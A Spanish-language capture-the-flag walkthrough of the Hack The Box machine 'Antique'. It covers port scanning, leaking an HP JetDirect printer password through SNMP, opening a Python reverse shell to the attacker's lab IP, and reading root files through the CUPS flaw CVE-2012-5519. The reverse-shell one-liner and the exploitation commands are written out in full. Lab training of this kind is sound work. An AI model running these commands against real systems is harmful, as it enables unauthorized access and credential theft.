
HackTheBox
Antique
Índice▾
Técnicas vistas
- SNMP Enumeration
- Network Printer Abuse
- CVE-2012-5519
Preparación
Reconocimiento
Para comenzar usaremos el comando scan, para ver que puertos abiertos tiene la máquina:
scan () {
sudo nmap -sS --min-rate=5000 -p- --open -vvv -n -Pn "$1" -oG "nmap/AllPorts"
}Nos devuelve lo siguiente:
PORT STATE SERVICE REASON
23/tcp open telnet syn-ack ttl 63Telnet
Solo vemos el puerto 23 que corresponde al servicio telnet. Vamos a conectarnos con el comando:
telnet 10.10.11.107
Vemos que es un HP JetDirect que buscando en google es un servidor de impresión. Vamos ahora a hacer un escaneo UDP en vez de TCP.
sudo nmap -sU --top-ports 10 -sV 10.10.11.107
Explotación
Buscando información sobre el servicio SNMP en HP JetDirect, podemos ver un problema de seguridad grave en este artículo (https://www.exploit-db.com/exploits/22319). Añadiremos el dominio antique.htb a /etc/hosts, y ejecutamos el siguiente comando:
snmpwalk -v 2c -c public antique.htb .1.3.6.1.4.1.11.2.3.9.1.1.13.0iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = BITS: 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135La vulnerabilidad habla de que si decodificamos esos bits que nos devuelve es bastante probable que encontremos la contraseña de la impresora. Esto se debe a un fallo de seguridad que filtra la contraseña en algunas circunstancias. Lo decodificaremos con la herramienta xxd que se usa especialmente en hexadecimal:
echo "50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 \106 111 114 115 119 122 123 126 130 131 134 135" | xxd -r -pP@ssw0rd@123!!123q"2Rbs3CSs$4EuWGW(8i IYaA"1&1A5%Podríamos intentar a loguearnos con P@ssw0rd@123!!123

Una vez teniendo esto podemos intentar entablar una reverse shell a nuestra máquina para mayor comodidad. Haremos una con python3 con el siguiente comando:
exec python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.16",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Escalada de privilegios
Para comenzar, veremos que puertos abiertos hay en el sistema, usaremos el comando ss. A continuación una explicación de este comando y los parámetros que usaremos.
El comando ss en Linux se utiliza para mostrar información sobre las conexiones de red y los sockets en uso en el sistema. Es una alternativa más rápida y eficiente que netstat.
El parámetro -tulpn tiene el siguiente significado:
-t→ Muestra solo sockets TCP.-u→ Muestra solo sockets UDP.-l→ Muestra solo sockets en estado de escucha (listening).-p→ Muestra el proceso que está usando el socket.-n→ Muestra las direcciones y puertos en formato numérico (sin resolver nombres de dominio).
ss -tulpnNetid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 0.0.0.0:161 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:23 0.0.0.0:* users:(("python3",pid=1039,fd=3))
tcp LISTEN 0 4096 127.0.0.1:631 0.0.0.0:*
tcp LISTEN 0 4096 [::1]:631 [::]:* Podemos ver el puerto 631, vamos a hacer un curl desde la máquina comprometida a ver que podemos encontrar.
curl http://127.0.0.1:631<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8">
<TITLE>Home - CUPS 1.6.1</TITLE>
<LINK REL="STYLESHEET" TYPE="text/css" HREF="/cups.css">
<LINK REL="SHORTCUT ICON" HREF="/images/cups-icon.png" TYPE="image/png">
</HEAD>...Cups (CVE-2012-5519)
Vemos que está corriento Cups, podemos buscar vulnerabilidades para dicha versión la 1.6.1. Buscando en internet encontramos un exploit que permite la lectura de archivos con privilegios. (https://github.com/p1ckzi/CVE-2012-5519).
Si la ejecutamos en la máquina víctima podremos leer /root/root.txt.

Máquina comprometidaPwned! · ver logro en Hack The Box
Relacionados